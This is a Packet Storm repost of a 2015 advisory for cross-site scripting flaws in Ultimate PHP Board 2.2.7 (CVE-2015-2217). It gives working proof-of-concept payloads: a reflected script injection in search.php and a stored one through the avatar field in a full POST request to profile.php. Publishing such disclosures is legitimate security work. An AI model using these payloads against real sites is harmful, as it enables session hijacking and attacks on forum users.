what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting

Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting
Posted Mar 5, 2015
Authored by CWH Underground, ZeQ3uL

Ultimate PHP Board (UPB) version 2.2.7 suffers from a cross site scripting vulnerability.

tags | exploit, php, xss
advisories | CVE-2015-2217
SHA-256 | cb49bc015eedad265df4b05a3e04a6d40180f9d63f5ef9c69a3504e94a2f334d

Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting

Change Mirror Download
# Exploit Title   : Ultimate PHP Board (UPB) 2.2.7 Cross Site Scripting Vulnerability
# CVE : CVE-2015-2217
# Date : 4 March 2015
# Exploit Author : CWH Underground
# Discovered By : ZeQ3uL
# Site : www.2600.in.th
# Vendor Homepage : http://www.myupb.com
# Software Link : http://downloads.sourceforge.net/project/textmb/UPB/UPB%202.2.7/upb2.2.7.zip
# Version : 2.2.7

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################
SOFTWARE DESCRIPTION
####################

Ultimate PHP Board is completely text based making it easy for anybody who has access to PHP can run a message board of their own without the need for MySQL.

####################################
DESCRIPTION FOR CROSS SITE SCRIPTING
####################################

myUPB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

myUPB 2.2.7 is vulnerable; other versions may also be affected.

####################
VULNERABILITY DETAIL
####################

1. Reflect Cross Site Scripting (search.php)
POC:
/search.php?q='><script>alert(1)</script>

2. Stored Cross Site Scripting (profile.php)
POC:
POST /upb/profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/upb/profile.php
Cookie: timezone=0; lastvisit=1425552811; user_env=test; uniquekey_env=8806b913721aaf992f09134c89031d58; power_env=1; id_env=2; PHPSESSID=5jjiir5d83mbqh2s7da0gckd97
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------287611866431947
Content-Length: 716
-----------------------------287611866431947
Content-Disposition: form-data; name="u_email"
t@t.com
-----------------------------287611866431947
Content-Disposition: form-data; name="u_loca"
th
-----------------------------287611866431947
Content-Disposition: form-data; name="avatar"
images/avatars/chic.jpg'><script>alert("hacked");</script>
-----------------------------287611866431947
Content-Disposition: form-data; name="u_site"
http://
-----------------------------287611866431947
Content-Disposition: form-data; name="u_timezone"
0
-----------------------------287611866431947
Content-Disposition: form-data; name="u_edit"
Submit
-----------------------------287611866431947--

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close